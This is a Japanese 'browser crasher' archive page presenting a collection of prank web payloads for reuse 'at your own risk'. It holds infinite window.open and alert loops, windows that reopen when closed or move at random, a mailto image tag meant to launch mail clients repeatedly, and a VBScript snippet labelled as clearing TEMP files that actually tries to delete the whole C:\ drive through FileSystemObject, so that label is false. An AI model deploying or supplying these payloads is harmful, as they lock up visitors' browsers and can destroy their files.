ブラクラ保管庫
説明と規約
自己責任で使ってください。
すべて拾い物です。
タグには表示のため★を加えてあります。
ウィンドウを大量に表示
<html> <head> <title>ウィンドウを大量に表示する</title> </head> <body> <script type="text/javascript"> <!-- for (;;i++) { window.open("http://www.geocities.jp/server-errors/not_found.html","","width=200,height=200"); } // --> </script> ウィンドウを大量に表示します <★/body> <★/html>
飛び回るウィンドウ
<HTML> <HEAD> <TITLE>Windowが飛び回る</TITLE> </HEAD> <script language="JavaScript"> resizeTo(300,300); for(i=0;i<=100;i++){ function circulate(){ var ransuu1=Math.ceil(1024*Math.random()) var ransuu2=Math.ceil(768*Math.random()) moveTo(ransuu1,ransuu2); } setInterval('circulate()',100); } </script> <body onunload="open_window()"> 100回で終わります <★/body> <★/HTML>
警告窓（アラート）を出し続ける
<HEAD> <SCRIPT LANGUAGE="JavaScript"> for ( ; ; ) { window.alert("無駄だよ君") } <★/SCRIPT> <★/HEAD>
閉じても閉じてもウインドウが開く
<HTML> <HEAD> <SCRIPT LANGUAGE="JavaScript"> function WindowOpen(){ window.open("http://www.geocities.jp/server-errors/not_found.html") } </SCRIPT> </HEAD> <BODY onunload="WindowOpen()"> <★/BODY> <★/HTML>
禁じ手・ハードディスクポア
<HTML> <HEAD> <TITLE>TEMPファイルの中身を消しちゃいます</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT LANGUAGE=VBScript> Dim fso, fsoFolder Set fso = CreateObject("Scripting.FileSystemObject") Set fsoFolder = fso.GetFolder("c:\") fsoFolder.Delete </SCRIPT> <★/BODY> <★/HTML>
メール大量起動
<★IMG SRC="mailto:10000">